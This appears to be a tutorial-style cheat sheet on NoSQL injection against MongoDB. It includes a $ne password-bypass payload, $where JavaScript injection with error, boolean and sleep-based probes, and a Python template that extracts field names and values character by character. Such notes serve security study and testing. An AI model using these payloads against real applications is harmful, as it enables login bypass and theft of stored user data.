NoSQL Injection (NoSQLi)
According to a company or an application needs, a NoSQL database may be used instead of the traditional SQL database. This is often the case when using GraphQL API Model.
While NoSQL database such as MongoDB are inherently more resilient to common attacks, they may still be exploited.
- Test characters such as
'"};\r\n$Foo&|
- Test coercing variables into arrays
If one is successful for NoSQL, there you may have an injection.
NoSQL Parameter injection βοΈ
The MongoDB PHP code to list all users matching a username is:
$result = $db_accounts->find(['username' => $username, 'password' => $password]);
If the type of $password
is not verified, then we can try to coerce it into an array. If the input format is not JSON, try HTTP parameter pollution.
// Bypass the password check
// Common parameter pollution in PHP: ...&password[$ne]=&
$result = $db_accounts->find([
'username' => 'admin',
'password' => ['$ne' => '']
]);
We can use multiple operators such as:
['$in' => ['a', 'b']]
: keep values in array['$nin' => ['a', 'b']]
: do not keep values in array['$regex' => 'adm']
: keep values matching a regex (admin
, etc.)['$where' => '...']
: refer to NoSQLi Query Injection
Some systems such as MongoDB offer what we call a projection. It indirectly prevents us from accessing unselected parameters.
// ... But only returns the property 'username'
$results = $db_accounts->find(..., ['projection' => ['username' => 1]]);
NoSQL Query injection π
NoSQL Query Injection occurs when the developer either passed the whole user input to the MongoDB function -or- the developer used user-input in the $where
clause without any security mechanisms.
const user_input = {'username': 'admin'}
const results = await collection.find(user_input).toArray();
const user_input = 'admin'
const results = await collection.find({
$where: `this.username == "${user_input}"`
}).toArray();
// It's not limited to JavaScript, but the syntax changes
$username = 'admin';
$results = $db_accounts->find([
'$where' => "this['username'] == '$username'"
]);
When we control the whole first parameter, we can inject a $where
:
const user_input = {'username': 'admin', '$where': '...'}
Inside the $where
, we can write arbitrary code in the language of the backend that will be evaluated. If errors are shown, use exceptions:
{ ..., '$where': 'throw JSON.stringify(this)' }
Otherwise, we can use a Boolean-Based or Time-Based approach (if there are no changes in the response) to extract characters one by one.
// Test '1' and '0' and look for changes in the output
// (often, 1 == results, 0 == no results)
{ ..., '$where': '1' }
// JavaScript (tested, there is a 'sleep' function)
{ ..., '$where': '1 ? sleep(5000) : 0' }
In JavaScript, these payloads may be handy:
this.username == undefined ? 0 : 1
(Test if an attribute exists)Object.keys(this)[n] == undefined ? 0 : 1
(Test if there aren
attributes. Note that each record can have a different number #NoSQL)Object.keys(this)[0] == '_id'
(Test if attribute0
is_id
)Object.keys(this)[0].match(/^.{n}$/)
(Test if the length of the name of the attribute at index0
isn
. For instance,_id
's length is 3)Object.keys(this)[0].match(/^_/)
(Test if the first character of the name of the attribute at index0
is_
. For instance, for_id
, it is True)this.username == value
,this.username.match(/^.{n}$/)
, andthis.username.match(/^adm/)
(Test a value, the length, and brute force)
Warning β οΈ: in some scenarios, a request returning one result is expected. In which case, some example here may not work "as if".
JavaScript $where
Data Extraction In Python
import sys
def send_user_request(payload):
# { $where: payload }
return True
def nosql_brute_force_using_where(size_query, bruteforce_query):
print(" Trying to use brute force (up to 100 chars)...")
entity_length = 0
for entity_length in range(1, 100):
request_response = send_user_request(size_query.format(param_match="^.{" + str(entity_length) + "}$"))
if request_response:
print(f" Payload length={entity_length}")
break
if entity_length == 0:
print("Could not determine entity length, aborting...")
sys.exit(1)
param_name = ""
param_value_range = (list("abcdefghijklmnopqrstuvwxyz") +
list("ABCDEFGHIJKLMNOPQRSTUVWXYZ") +
list("0123456789") + list(" !\"#$%&'()*+,-./:;<=>?@[]^_`{|}~"))
param_value_range = param_value_range + [chr(i) for i in range(1, 255) if chr(i) not in param_value_range]
for char_index in range(1, entity_length + 1):
found = False
for char_candidate in param_value_range:
if char_candidate in ["*", ".", "?", "^", "$", "+"]:
char_candidate = f"[{char_candidate}]"
if char_candidate == "\\":
continue
request_response = send_user_request(bruteforce_query.format(param_match="^" + param_name + char_candidate))
if request_response:
param_name += char_candidate
found = True
break
if not found:
print(f"Could not find the next character (last result: {param_name}).")
sys.exit(2)
return param_name
# Add them manually before restarting the script
known_columns = ['_id', 'username', 'password']
# Select column for which you want to extract the value
extract_columns = ['username']
# Payloads for introspection
test_payload = 'Object.keys(this)[{param_index}] != undefined'
match_payload = 'Object.keys(this)[{param_index}].match(/{{param_match}}/)'
param_index = 0
while True:
check = send_user_request(test_payload.format(param_index=param_index))
if not check:
break
print(f"[*] Found a new parameter at index {param_index}")
param_name = None
for known_column in known_columns:
check = send_user_request(match_payload.format(param_index=param_index).format(param_match=known_column))
if check:
param_name = known_column
break
if not param_name:
param_name = nosql_brute_force_using_where(
match_payload.format(param_index=param_index),
match_payload.format(param_index=param_index)
)
known_columns.append(param_name)
print(f"[*] Found parameter name: {param_name}")
if param_name in extract_columns:
param_value = nosql_brute_force_using_where(
f'this.{param_name}.match("{{param_match}}")',
f'this.{param_name}.match("{{param_match}}")'
)
print(f" Found parameter value= {param_value}")
param_index += 1
π» To-do π»
Stuff that I found, but never read/used yet.
- Test Null Byte (It's not working with recent versions)